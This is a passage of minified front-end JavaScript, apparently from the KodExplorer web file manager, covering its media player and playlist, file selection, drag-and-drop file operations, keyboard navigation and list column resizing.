0)},d=function(i){if(i){"string"==typeof i&&(i=[i]);var t=e("./myPlayer");t.play(i)}},p=function(e){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e)};return{open:i,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:t,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e){var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},t=e.ext,a=i[t],n={extType:a,title:e.name,url:e.url,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e.url,n -},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e){var i=e[0].ext,t=s(i),n=r(t),d=l(e[0]);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='<li class="item"> <span class="name">'+i.title+'</span> <div class="action-right"> <span class="download"><i class="icon-download-alt"></i></span> <span class="remove"><i class="icon-remove"></i></span> </div> </li>'}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("&nbsp; "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMusic,d(a)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"<div class=\"file select {{if type=='file'}}menufile{{else}}menufolder{{/if}} file_icon_edit\" id=\"makefile\">\n {{if list_type=='list'}}<span class=\"children_more\"></span>{{/if}}\n <div class=\"filename\" style=\"padding-top: 0px;\">\n <span class=\"title\">\n {{if type=='folder'}}\n <div class='ico' filetype='folder'>{{\"folder\" | core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{name_ext}}'>{{ext | core.icon}}</div>\n {{/if}}\n <div class=\"textarea\">\n {{if list_type=='icon'}}\n <textarea class='newfile fix'>{{newname}}</textarea>\n {{else}}\n <input class='newfile fix' value='{{newname}}'/>\n {{/if}}\n </div>\n </span>\n </div>\n <div style=\"clear:both;\"></div>\n</div>\n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(m($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var i=".close_item,.refresh,.newfile,.past,.info",t=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(i).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(t).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:m,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),j(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:'<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.copy_to+'</b>"'+t+'"',move_to:'<i class="font-icon bg-ok icon-share-alt"></i><b>'+LNG.cute_to+'</b>"'+t+'"',remove:'<i class="font-icon bg-error icon-trash"></i><b>'+LNG.remove+a+"</b>",share:'<i class="font-icon bg-ok icon-share-sign"></i><b>'+LNG.share+a+"</b>",none:'<i class="font-icon bg-error icon-minus"></i><b>'+LNG.no_permission_write+"</b>",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to='<i class="font-icon bg-ok icon-copy"></i><b>'+LNG.clone+"</b>"),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('<div class="file draggable-dragging"><div class="drag_number">'+e+'</div><span><i class="font-icon bg-default icon-ok"></i>'+e+" "+LNG.file+"</span></div>").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("<div class='fileContiner file-draging-box'><div class='"+i+" file-draging'></div></div>").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=T||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),z=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+L*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('<div id="selContainer"></div>').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row<e.row){var o=i;i=e,e=o}var s=function(e,i){var n=i*a+e;$(t[n]).addClass(Config.SelectClassName)};ui.fileLight.clear();for(var r=e.row;i.row>=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]<i[a])&&(t[a]=e[a])})},n=function(){if(!r()){var e=jsonEncode(t);LocalData.set("resize_config",e),$.get("index.php?setting/set&k=resize_config&v="+e)}},o=function(e){if("icon"!=G.user_config.list_type){e||(e=t);var a="",n=0;$.each(e,function(e,t){0==e.indexOf("file")&&(i[e]>=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list 